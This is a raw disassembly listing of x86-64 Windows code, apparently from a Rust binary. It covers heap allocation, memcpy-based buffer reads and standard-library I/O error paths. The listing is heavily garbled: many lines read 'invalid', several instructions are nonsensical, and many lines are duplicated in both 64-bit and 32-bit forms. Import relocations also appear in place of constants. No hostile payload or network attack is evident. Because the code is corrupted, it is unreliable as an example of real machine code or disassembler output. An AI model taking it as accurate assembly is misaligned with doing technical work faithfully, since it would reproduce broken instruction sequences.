jne 0x14012280b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1401228ea
test cl, ch
add byte [rax], al
invalid
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, reloc.WS2_32.dll_setsockopt
add byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
adc eax, 0x4581f
adc eax, 0x4581f
test rax, rax
je 0x1401228ea
add byte [rax], al
add byte [rax - 0x77], cl
mov rsi, rax
movups xmm0, xmmword [str.failed_to_fill_buffer]
add byte [rdi], cl
adc dword [rax], eax
invalid
movabs rax, 0x726566667562206c
mov qword [rsi + 0xd], rax
invalid
jne 0x14012289c
jb 0x140122882
mov dword [rsi + 0xd], eax
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140122869
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add al, 0
test rax, rax
je 0x1401228fb
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
push rdi
add al, 0
test rax, rax
je 0x1401228fb
mov rdi, rax
mov qword [rax], rsi
mov qword [rax + 8], reloc.WS2_32.dll_setsockopt
mov qword [rax + 0x10], reloc.WS2_32.dll_setsockopt
add byte [rax], al
or byte [0x18812288b], dl
mov dword [rax + 0x10], reloc.WS2_32.dll_setsockopt
add byte [rax], al
movzx eax, byte [0x1402153f8]
add eax, 0xf2b5f
mov rcx, qword [0x140215360]
shr byte [rdx], 0xf
add byte [rax - 0x7b], cl
test rcx, rcx
test rcx, rcx
jne 0x1401228ba
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14012290c
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14012290c
mov ecx, 1
mov edx, reloc.WS2_32.dll_setsockopt
invalid
add byte [rax], al
invalid
call fcn.14015d7f0
add eax, dword [rax]
ud2
mov ecx, 8
mov edx, 0x18
add al, ch
out 0xae, al
add eax, dword [rax]
add al, ch
out 0xae, al
add eax, dword [rax]
ud2
add byte [rax], al
call fcn.14015d7f0
ud2
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
adc byte [rbp + 0x41], dl
push rdi
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x30
sub byte [rax - 0x73], cl
push 0x30
lea rdx, fcn.140022090
mov rcx, qword [rbp - 8]
call fcn.1401372e0
nop
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
int3
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
mov r14, r9
mov rbx, r8
mov rdi, rdx
mov edi, edx
mov rsi, rcx
cmp byte [rdx + 0x90], 0
je 0x1401229ea
invalid
mov r15, qword [rdi + 8]
mov edi, dword [rdi + 8]
jg 0x14012299e
mov r12, qword [rdi + 0x10]
cmp r12, r15
mov rdx, r15
mov edx, edi
cmovb rdx, r12
invalid
sub r15, rdx
add rdx, qword [rdi]
cmp r14, r15
cmovb r15, r14
cmp r15, 1
add dword [rbp + 7], esi
add dword [rbp + 7], esi
movzx eax, byte [rdx]
mov byte [rbx], al
jmp 0x1401229c9
mov rcx, rbx
mov r8, r15
clc
call sub.VCRUNTIME140.dll_memcpy
add r12, r15
mov qword [rdi + 0x10], r12
invalid
adc byte [rcx + rcx*4 + 0x7e], cl
or byte [rcx], dh
xor eax, eax
mov qword [rsi], rax
mov qword [rsi + 8], r15
xor eax, eax
mov qword [rsi], rax
mov rax, rsi
add rsp, 0x38
cmp byte [rbx + 0x5f], bl
cmp byte [rbx + 0x5f], bl
pop rsi
pop r12
pop rsp
pop r14
pop r15
ret
cmp byte [rdi + 0x88], 0
je 0x140122a2b
cmp qword [rdi + 0x18], 0
cmp dword [rdi + 0x18], 0
je 0x140122af9
mov r15, qword [rdi + 0x28]
mov edi, dword [rdi + 0x28]
mov r12, qword [rdi + 0x38]
cmp r12, r15
cld
cmp byte [ebp + 0x39], cl
cld
mov rdx, r15
cmovb rdx, r12
sub r15, rdx
add rdx, qword [rdi + 0x20]
add edx, dword [rdi + 0x20]
add edx, dword [rdi + 0x20]
cmp r14, r15
cmovb r15, r14
cmp r15, 1
jne 0x140122a61
movzx eax, byte [rdx]
mov byte [rbx], al
jmp 0x140122a6c
cmp byte [rdi + 0x80], 0
je 0x140122a91
add byte [rax], al
add byte [rbp + rbx*2 + 0x4c], dh
mov r15, qword [rdi + 0x70]
mov r15, qword [rdi + 0x70]
mov r12, qword [rdi + 0x78]
cmp r12, r15
mov rdx, r15
cmovb rdx, r12
invalid
invalid
sub r15, rdx
add rdx, qword [rdi + 0x60]
cmp r14, r15
invalid
invalid
dec byte [rbp + 0xf]
dec byte [rcx - 0x7d]
cmp r15, 1
cmovb r15, r14
cmp r15, 1
jne 0x140122acb
movzx eax, byte [rdx]
mov byte [rbx], al
jmp 0x140122ad6
mov rcx, rbx
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r12, r15
mov qword [rdi + 0x38], r12
mov dword [rdi + 0x38], esp
mov dword [rdi + 0x38], esp
test r14, r14
test esi, esi
je 0x1401229d0
test r15, r15
jne 0x1401229d0
invalid
inc esi
xchg dword [rax + 0x1000000], edx
add byte [rax], al
add byte [rcx], al
jmp 0x140122992
mov qword [rdi + 0x58], r12
mov r15d, 1
jmp case.0x140107e15.106
mov rcx, rbx
mov r8, r15
clc
call sub.VCRUNTIME140.dll_memcpy
add eax, dword [rax]
add r12, r15
mov qword [rdi + 0x78], r12
invalid
invalid
js 0x140122b2b
test r14, r14
test esi, esi
je case.0x140107e15.106
test r15, r15
test edi, edi
push qword [rbp - 0x74]
jne case.0x140107e15.106
mov byte [rdi + 0x88], 1
cmp qword [rdi + 0x18], 0
jg 0x140122b0a
add byte [rdi], cl
invalid
invalid
invalid
invalid
invalid
jg 0x140122b0a
add byte [rdi], cl
test dword [0x189122af9], eax
mov edx, dword [rdi + 0x20]
mov rdx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
lea rcx, [rsp + 0x28]
and al, 0x28
sub byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
and al, 0x28
mov r8, rbx
mov r9, r14
int1
mov ecx, esi
call qword [rax + 0x18]
mov r15, qword [rsp + 0x30]
cmp qword [rsp + 0x28], 0
je case.0x140107e15.106
invalid
mov qword [rsi + 8], r15
mov eax, 1
jmp 0x1401229d6
invalid
je 0x140122add
test r15, r15
jne 0x140122add
mov byte [rdi + 0x80], 1
add byte [rax], al
add byte [rcx], al
jmp case.0x1400e8b28.258
invalid
invalid
int3
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb8
add byte [rax], al
invalid
movaps xmmword [rsp + 0xa0], xmm6
sub dword [rsp + 0xa0], esi
movabs al, byte [0x8949c3894c000000]
invalid
mov rbx, r8
mov r14, rdx
mov qword [rsp + 0x28], rcx
and al, 0x28
mov rdi, qword [r8 + 8]
mov r15, qword [r8 + 0x10]
mov edi, dword [rax + 0x10]
mov edi, dword [rax + 0x10]
js 0x140122b9e
lea rax, [rdx + 0x20]
mov qword [rsp + 0x40], rax
and al, 0x40
xor esi, esi
lea r13, [rsp + 0x50]
and al, 0x50
and al, 0x50
xorps xmm6, xmm6
mov qword [rsp + 0x30], rdi
jl 0x140122bc9
invalid
test byte [rax - 0x77], 0x7c
and al, 0x30
jl 0x140122bc9
xor byte [rcx + rcx*4 + 0x7c], cl
and al, 0x38
mov qword [rsp + 0x38], r15
mov r12, r15
jmp 0x140122bc0
mov rax, rbp
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
cmp eax, 0x23
jne 0x140122ee0
invalid
add byte [rcx + 0x39], cl
cld
cmp r12, rdi
je 0x140122ccd
test byte [rcx + rax], al
add byte [rax], al
mov rax, qword [rbx]
add rax, r12
mov rcx, rdi
stc
stc
sub rcx, r12
sub ecx, esp
loope 0x140122c1e
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x58], rcx
and al, 0x58
mov qword [rsp + 0x60], 0
add byte [rax], al
add byte [rax], al
invalid
mov qword [rsp + 0x68], rsi
mov rcx, r14
mov rdx, r13
push 0x4cf1894c
mov edx, ebp
call fcn.1401225a0
test rax, rax
je 0x140122cf0
invalid
test al, 0xf9
invalid
mov rbp, rax
mov r15d, ebp
and r15d, 3
and edi, 3
lea rcx, [0x14020ace0]
movsxd rax, dword [rcx + r15*4]
add rax, rcx
jmp rax
adc byte [rbx + riz], bh
je case.0x14010af64.93
jmp 0x140122ee0
and esi, dword [rax + rbp - 0x17]
je 0x140122c5e
sub cl, ch
jmp 0x140122ee0
movsd dword [rdi], dword [rsi]
add al, byte [rax]
add byte [rdi], cl
invalid
shr ecx, 0x20
call fcn.14012f020
cmp al, 0x23
jne 0x140122ee0
invalid
mov word [rdx], es
add byte [rax], al
test dword [rdx + rax - 0x7cbf0000], ecx
inc dword [rcx]
cmp r15d, 1
jne 0x140122bc0
mov qword [rsp + 0x48], rdi
mov rdi, rbx
mov edi, ebx
jl 0x140122c86
mov rdi, rbx
mov edi, ebx
mov rbx, rsi
mov rsi, r14
mov r14, r13
mov r15, qword [rbp - 1]
mov edi, dword [rbp - 1]
mov edi, dword [rbp - 1]
mov r13, qword [rbp + 7]
mov rcx, r15
mov ecx, edi
call qword [r13]
cmp qword [r13 + 8], 0
cmp dword [rbp + 8], 0
je 0x140122ca2
cmp qword [r13 + 0x10], 0x11
cmp dword [rbp + 0x10], 0x11
jb case.0x14010e86a.73
mov r15, qword [r15 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
add al, 0
dec rbp
mov rcx, qword [0x140215360]
invalid
add byte [rcx], dh
ror byte [rcx - 0x77], cl
call 0x1938342b4
push rbx
xor edx, edx
mov r8, rbp
call 0x1938342b4
push rbx
add al, 0
add al, 0
mov r13, r14
mov r14, rsi
mov rsi, rbx
fimul word [rax - 0x77]
sti
mov rdi, qword [rsp + 0x48]
mov edi, dword [rsp + 0x48]
jmp 0x140122bc0
mov r8d, 0x20
mov rcx, rbx
mov rdx, rdi
call fcn.14015cc80
mov rdi, qword [rbx + 8]
jnp 0x140122cea
jnp 0x140122cea
mov r12, qword [rbx + 0x10]
jmp 0x140122bc9
dec dword [rdi]
invalid
nop dword [rax + rax]
mov r15, qword [rsp + 0x60]
test r15, r15
je 0x140122f39
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0x68]
mov edx, dword [rsp + 0x68]
mov rsi, rdx
sub rsi, r15
jb 0x140122f66
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
mov eax, dword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
cmp rdx, rax
ja 0x140122f77
add r15, r12
mov qword [rbx + 0x10], r15
cmp rdi, qword [rsp + 0x30]
jne 0x140122bab
invalid
mov esi, 0xb8
add byte [rdi], cl
test edx, edi
add byte [rax], al
add byte [rcx - 0x47], al
and byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x90]
mov rdx, r12
lea r8, [rsp + 0x70]
call fcn.140122970
sti
invalid
dec dword [rax - 0x7d]
mov esp, 0x9024
add byte [rax], al
mov rbp, qword [rsp + 0x98]
je 0x140122e45
mov edi, ebp
and edi, 3
lea ecx, [0x14020acf0]
add byte [rax + 0x63], cl
add al, 0xb9
movsxd rax, dword [rcx + rdi*4]
add rax, rcx
jmp rax
invalid
cmp al, 0x23
jne 0x140122f26
mov rax, qword [rsp + 0x28]
mov qword [rax + 8], rbp
mov qword [rax], 1
movaps xmm6, xmmword [rsp + 0xa0]
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 8], rbp
mov eax, 1
add byte [rax - 0x77], cl
add ebx, ebp
invalid
sub r12, qword [rsp + 0x38]
mov rax, qword [rsp + 0x28]
mov qword [rax + 8], r12
mov qword [rax], 0
jmp 0x140122ef0
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srcio_readbuf.rs
mov rcx, r15
call fcn.140161190
ud2
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srcio_readbuf.rs
mov rcx, rdx
mov rdx, rax
call fcn.140160f40
ud2
mov qword [rsp + 0x28], r14
mov r8, qword [r10]
mov r13, qword [r10 + 8]
mov rsi, qword [r10 + 0x10]
shl rdi, 4
xor r12d, r12d
in al, 0xeb
invalid
test rdi, rdi
je 0x140123050
or cl, ch
invalid
test rcx, rcx
je case.0x1400e97e6.252
invalid
invalid
add dword [rax], eax
invalid
test byte [0x18412308b], bl
mov ecx, dword [rax + 0x10]
mov r9d, dword [rax + 0x10]
add rax, 0x10
add rcx, 0xfffffffffffffff0
test r9, r9
je 0x140123080
mov r8, qword [rax + 8]
cmp qword [r10 + 0x18], 0
jp 0x1401230ba
add byte [rdi], cl
test byte [rbx], cl
add dword [rax], eax
invalid
or byte [rcx - 0x7d], cl
jp 0x1401230ba
add byte [rdi], cl
test byte [rbx], cl
add dword [rax], eax
add byte [rbp - 0x75], cl
pop rdx
sub byte [rcx - 0x75], cl
mov esi, dword [rdx + 0x38]
mov r11, qword [r10 + 0x28]
mov rsi, qword [r10 + 0x38]
mov esi, dword [rdx + 0x38]
cmp rsi, r11
mov rdx, r11
cmovb rdx, rsi
sub r11, rdx
add rdx, qword [r10 + 0x20]
cmp r9, r11
invalid
cmovb r11, r9
cmp r11, 1
add dword [rdi], ecx
test dword [rbp + 1], ecx
add byte [rax], al
invalid
invalid
add dword [rdi], ecx
test dword [rbp + 1], ecx
add byte [rax], al
movzx eax, byte [rdx]
mov byte [r8], al
add rsi, r11
add esi, ebx
add esi, ebx
mov qword [r10 + 0x38], rsi
test r11, r11
jne case.0x1400e6090.295
test dword [rdi], edi
add al, byte [rax]
add cl, ch
push rdi
add al, byte [rax]
add byte [rcx + rcx*4 + 0x74], cl
and al, 0x28
jmp case.0x1400e7c4b.307
cmp byte [r10 + 0x80], 0
cmp byte [rdx + 0x80], 0
je 0x14012324b
mov r8, qword [r10 + 0x60]
mov r9, qword [r10 + 0x70]
mov ecx, dword [rdx + 0x70]
invalid
mov ecx, dword [rdx + 0x70]
mov rsi, qword [r10 + 0x78]
mov r13, rdi
std
js 0x140123157
mov ebp, edi
std
shl r13, 4
xor r11d, r11d
mov r14, rbx
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], r9
jmp 0x140123150
add byte [rax], al
add byte [rax], al
movzx eax, byte [rdx]
mov byte [rcx], al
add r14, 0x10
add rsi, r12
mov qword [r10 + 0x78], rsi
add r11, r12
add r13, 0xfffffffffffffff0
add ebp, 0xfffffff0
add ebp, 0xfffffff0
invalid
cmp r15, rbp
jb 0x1401231e6
xchg esi, eax
add byte [rax], al
invalid
xchg esi, eax
add byte [rax], al
add byte [rbp - 0x7b], cl
in eax, dx
test r13, r13
je 0x1401231e6
add byte [rax], al
mov rcx, qword [r14 + 8]
mov ebp, dword [r14]
cmp rsi, r9
mov rdx, r9
cmovb rdx, rsi
mov r15, r9
iretd
sub r15, rdx
xlatb
xlatb
add rdx, r8
cmp rbp, r15
mov r12, r15
cmovb r12, rbp
cmp r12, 1
cld
invalid
je 0x140123130
cld
add dword [rbp + rbp*4 + 0x4d], esi
mov eax, esp
mov r8, r12
mov qword [rsp + 0x20], r11
call sub.VCRUNTIME140.dll_memcpy
fistp dword [rcx - 0x74b3fffd]
and al, 0x38
fistp dword [rcx - 0x74b3fffd]
and al, 0x38
add byte [rbx + rcx*4 + 0x4c], cl
and al, 0x38
mov r8, qword [rsp + 0x40]
mov r11, qword [rsp + 0x20]
mov r10, qword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
jmp 0x140123135
xor r9d, r9d
cmp qword [r10 + 0x18], 0
jne 0x1401230a9
test ebp, esi
invalid
invalid
invalid
mov rdx, qword [r10 + 0x20]
mov rax, qword [r10 + 0x28]
lea rcx, [rsp + 0x48]
mov rsi, r10
call qword [rax + 0x18]
mov r11, qword [rsp + 0x50]
sbb byte [rbx + rcx*4 + 0x5c], cl
and al, 0x50
cmp qword [rsp + 0x48], 0
je 0x140123320
test byte [rax + 1], cl
add byte [rax], al
and al, 0x48
add byte [rdi], cl
test byte [rax + 1], cl
add byte [rax], al
mov qword [r14 + 8], r11
mov eax, 1
jmp 0x14012332e
test r11, r11
mov r14, qword [rsp + 0x28]
jne case.0x1400e6090.295
mov rax, rdi
shl rax, 4
xor ecx, ecx
nop dword [rax]
cmp rax, rcx
je case.0x1400e7c4b.307
add byte [rax], al
mov rcx, r8
mov r8, r11
mov r15, r11
call sub.VCRUNTIME140.dll_memcpy
mov r11, r15
mov r10, qword [rsp + 0x30]
add rsi, r11
mov qword [r10 + 0x38], rsi
test r11, r11
fisttp dword [rdi]
test edx, esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
jmp case.0x1400e7c4b.307
mov r8, qword [r10 + 0x40]
mov r9, qword [r10 + 0x50]
mov rsi, qword [r10 + 0x58]
mov r13, rdi
shl r13, 4
xor r11d, r11d
mov r14, rbx
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], r9
jmp case.0x1400fd850.179
movzx eax, byte [rdx]
mov byte [rcx], al
add r14, 0x10
add rsi, r12
mov qword [r10 + 0x58], rsi
add r11, r12
add r13, 0xfffffffffffffff0
add ebp, 0xfffffff0
cmp r15, rbp
jb 0x1401232de
test r13, r13
je 0x1401232de
iretd
in eax, 0x49
cmp esp, 1
je 0x140123270
mov r8, r12
mov qword [rsp + 0x20], r11
call sub.VCRUNTIME140.dll_memcpy
add eax, dword [rax]
mov r9, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
and al, 0x40
mov r11, qword [rsp + 0x20]
pop rsp
and al, 0x20
mov r10, qword [rsp + 0x30]
jmp 0x140123275
test r11, r11
mov r14, qword [rsp + 0x28]
jne case.0x1400e6090.295
mov rax, rdi
shl rax, 4
shl eax, 4
shl eax, 4
xor ecx, ecx
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp rax, rcx
je 0x1401231f4
test bl, ch
invalid
cmp dword [rbx + rcx], 0
or eax, dword [rax]
lea rcx, [rcx + 0x10]
je 0x140123300
mov byte [r10 + 0x80], 1
jmp 0x140123101
loope 0x14012331b
invalid
mov r10, rsi
test r11, r11
test ebx, ebx
test ebx, ebx
je case.0x1400e7c4b.307
mov qword [r14 + 8], r11
xor eax, eax
ror byte [rcx - 0x77], 6
mov qword [r14], rax
mov dword [rsi], eax
mov rax, r14
add rsp, 0x58
invalid
pop rax
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
mov rax, rdi
shl rax, 4
xor r11d, r11d
xor ecx, ecx
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
nop word cs:[rax + rax]
invalid
add byte [rax + 0x39], cl
enter 0xffffffffffffc374, 0xffffffffffffff83
cmp al, 0xb
cmp rax, rcx
je case.0x1400e6090.295
cmp dword [rbx + rcx], 0
lea rcx, [rcx + 0x10]
invalid
je 0x140123360
add byte [rax - 0x73], cl
adc byte [r9 + rsi*8 + 0x41], sil
adc byte [rcx + rsi*8 + 0x41], dh
adc byte [rcx + rsi*8 + 0x41], dh
mov byte [rdx + 0x90], 1
invalid
jmp 0x140122fbe
int3
mov rsi, rcx
cmp qword [rcx + 0x48], 0
je 0x1401233a3
invalid
invalid
adc ecx, dword [rbx + rcx*4 + 0x46]
mov rcx, qword [0x140215360]
mov rcx, qword [0x140215360]
mov r8, qword [rsi + 0x40]
mov rcx, qword [0x140215360]
invalid
invalid
invalid
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test dword [rsp + rax], ecx
cmp qword [rsi + 0x68], 0
push 0x4c137400
add byte [rbx + rdx + 0x4c], dh
je 0x1401233bd
mov r8, qword [rsi + 0x60]
mov eax, dword [rsi + 0x60]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
or eax, 0xf1fab
stosd dword [rdi], eax
invalid
xor edx, edx
sar bh, cl
adc eax, 0x44c6b
invalid
add al, 0
call qword [sym.imp.KERNEL32.dll_HeapFree]
imul ecx, dword [rsp + rax], 0x48
mov eax, dword [rsi + 0x18]
invalid
invalid
mov rax, qword [rsi + 0x18]
sbb byte [rax - 0x7b], r9b
sal byte [rcx + rbx + 0x48], 0x8b
adc byte [rax - 0x73], cl
adc byte [rax - 0x73], cl
test rax, rax
je 0x1401233df
mov rax, qword [rax + 0x10]
lea rcx, [rsi + 0x30]
mov rdx, qword [rsi + 0x20]
and byte [rbx + rcx*4 + 0x46], cl
sub byte [rax - 0x7d], cl
add esp, 0x28
sub byte [rdi + 0x5e], bl
adc byte [rax - 0x73], cl
xor byte [rax - 0x75], r9b
push rsi
and byte [rbx + rcx*4 + 0x46], cl
sub byte [rax - 0x7d], cl
invalid
invalid
sub byte [rdi + 0x5e], bl
jmp rax
mov rdi, qword [rsi + 0x20]
jle 0x140123403
mov rsi, qword [rsi + 0x28]
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140123417
cmp qword [rsi + 0x10], 0x11
adc dword [rdx + 4], esi
jb 0x1401233fe
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
add rsp, 0x28
add esp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rdi
pop rsi
ret
int3
add esp, 0x20
invalid
pop rsi
ret
int3
mov rdi, rcx
mov rbx, qword [r8 + 0x10]
lea rcx, [rsp + 0x20]
call case.0x14011a874.54
mov r14, qword [rsi + 0x10]
adc byte [rbp - 0x77], cl
invalid
adc byte [rbp - 0x77], cl
invalid
sub r8, rbx
jb 0x1401234c0
push rdi
mov rdx, qword [rsi]
add rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.14005a400
xchg dword [rdi - 0xd], ebp
dec dword [rax - 0x7d]
jl 0x1401234a1
xor byte [rax], al
je 0x140123490
cmp qword [rsp + 0x20], 0
je 0x14012349d
mov rax, qword [rsp + 0x28]
jmp 0x1401234a4
movups xmm0, xmmword [rsp + 0x20]
and byte [rdi], cl
adc dword [rdi], eax
movups xmmword [rdi], xmm0
mov rbx, r14
jmp 0x1401234af
invalid
adc cl, byte [rax - 0x73]
add eax, 0xb7cfc
or eax, dword [rax]
lea rax, [0x1401db1a0]
mov qword [rdi + 8], rax
mov qword [rdi], 1
mov qword [rsi + 0x10], rbx
mov rax, rdi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srciomod.rs
mov rcx, rbx
mov rdx, r14
bnd call fcn.140160e60
mov ds, ecx
add eax, dword [rax]
ud2
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
test r8, r8
je 0x140123602
add byte [rax], al
add byte [rax], al
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov ebx, ecx
lea r14, [rsp + 0x28]
lea r13, [0x14020ad00]
jmp 0x140123529
and ecx, dword [rdi]
test ebp, esp
add byte [rax], al
add byte [rax], al
test rsi, rsi
invalid
test cl, bl
invalid
add byte [rax], al
test rsi, rsi
je 0x140123602
test cl, bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, r14
mov rdx, rbx
mov r8, rdi
clc
clc
mov r9, rsi
call fcn.140122970
invalid
dec dword [rax - 0x7d]
cmp dword [rsp + 0x28], 0
je 0x140123570
mov r15, qword [rsp + 0x30]
mov r12d, r15d
mov esp, edi
mov esp, edi
and r12d, 3
movsxd rax, dword [r13 + r12*4]
add rax, r13
jmp rax
invalid
loopne 0x14012359a
movzx eax, byte [r15 + 0x10]
movzx eax, byte [rdi + 0x10]
cmp al, 0x23
je 0x1401235ab
jmp 0x140123605
nop dword cs:[rax + rax]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140123619
test byte [rbx + 0x48000000], bl
mov eax, esi
mov rax, rsi
sub rax, rcx
jb 0x140123622
add byte [rax], al
add byte [rax + 1], cl
iretd
add rdi, rcx
mov rsi, rax
jmp case.0x1400e4b0f.343
invalid
mov es, word [rcx - 0x80]
jg 0x1401235a5
and esi, dword [rsp + rbx - 0x15]
sbb al, 0xeb
push 0x4c
mov ecx, edi
shr rcx, 0x20
shr ecx, 0x20
and al, ch
jns 0x14012355f
call fcn.14012f020
add byte [rax], al
cmp al, 0x23
and esi, dword [rbp + 0x5a]
jne 0x140123605
cmp r12d, 1
jne case.0x1400e4b0f.343
test dword [rbx - 1], ebp
invalid
invalid
mov r12, qword [r15 - 1]
mov rbp, qword [r15 + 7]
mov rcx, r12
call qword [rbp]
cmp qword [rbp + 8], 0
cmp dword [rbp + 8], 0
dec dword [ecx - 0x75]
outsd dx, dword [rsi]
invalid
push rbp
add byte [rax - 0x7d], cl
invalid
jge 0x1401235cf
cmp dword [rbp + 8], 0
add byte [rsi + rbx + 0x48], dh
je 0x1401235e8
cmp qword [rbp + 0x10], 0x11
cmp dword [rbp + 0x10], 0x11
jb 0x1401235d6
mov r12, qword [r12 - 8]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
or eax, 0xf1d83
sbb dword [0x1124335ef], 0x4d
mov eax, esp
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rcx - 1], cl
iretd
dec r15
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
add byte [rcx], dh
ror byte [rbp - 0x77], cl
clc
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp case.0x1400e4b0f.343
invalid
sub ecx, dword [rdx + 4]
add cl, ch
invalid
xor r15d, r15d
dec dword [rcx + rcx*4 - 8]
mov rax, r15
add rsp, 0x38
add esp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
lea r15, str.failed_to_fill_whole_buffer
jmp 0x140123605
jrcxz 0x14012366f
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srciomod.rs
lea eax, [0x1401d4918]
add eax, 0xb12ef
add byte [rax - 0x77], cl
bnd call fcn.140160e60
invalid
mov rdx, rsi
call fcn.140160e60
invalid
ud2
int3
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x30
sub esp, 0x30
mov rbx, rcx
mov rsi, qword [rdx + 8]
mov rcx, qword [rdx + 0x18]
sbb byte [rcx - 0x77], cl
invalid
sub r8, rcx
jb 0x1401236be
sbb byte [rcx - 0x77], cl
invalid
mov rdi, rdx
mov r15, qword [rdx]
invalid
cmp cl, byte [rcx + rax - 7]
add rcx, r15
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rdi + 0x18], rsi
mov dword [rdi + 0x18], esi
mov r14, qword [rdi + 0x10]
ja 0x140123686
mov r9, rsi
sub r9, r14
jb 0x1401236cf
add r15, r14
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x20
and byte [rax - 0x77], cl
fimul dword [rbp - 0x77]
clc
mov rdx, rbx
mov r8, r15
call fcn.140122970
cmp qword [rsp + 0x20], 0
jl 0x1401236b9
and byte [rax], al
and al, 0x20
add byte [rax - 0x75], cl
mov eax, dword [rsp + 0x28]
mov rax, qword [rsp + 0x28]
jne 0x1401236b2
adc al, 0x49
add esi, eax
add r14, rax
mov qword [rdi + 0x10], r14
ja case.0x14010e86a.83
cmp rsi, r14
cmova r14, rsi
mov qword [rdi + 0x18], r14
xor eax, eax
add rsp, 0x30
add esp, 0x30
invalid
xor byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srcio_readbuf.rs
or eax, dword [rax]
add byte [rax - 0x77], cl
bnd call fcn.140160e60
xchg ebx, eax
xlatb
add eax, dword [rax]
mov rdx, rsi
call fcn.140160e60
xchg ebx, eax
xlatb
add eax, dword [rax]
ud2
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srcio_readbuf.rs
or eax, dword [rax]
mov rcx, r14
mov rdx, rsi
call fcn.140161190
ud2
int3
push rbp
push r15
push r14
push rsi
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x48
invalid
lea rbp, [rsp + 0x40]
lea rbp, [rsp + 0x40]
and al, 0x40
mov qword [rbp], 0xfffffffffffffffe
mov qword [rbp], 0xfffffffffffffffe
add dh, bh
invalid
mov rsi, qword [rdx + 8]
mov rdi, qword [rdx + 0x10]
jp 0x140123725
jp 0x140123725
adc byte [rax + 0x39], cl
invalid
cmp rsi, rdi
jne 0x140123722
xor r12d, r12d
jmp 0x14012397f
invalid
add byte [rax - 0x77], cl
ror dword [rcx - 0x77], cl
invalid
mov rbx, rdx
mov r14, rcx
mov r15, qword [rdx]
mov rcx, qword [rdx + 0x18]
mov qword [rbp - 8], r14
jmp case.0x14011f9f6.30
invalid
nop word cs:[rax + rax]
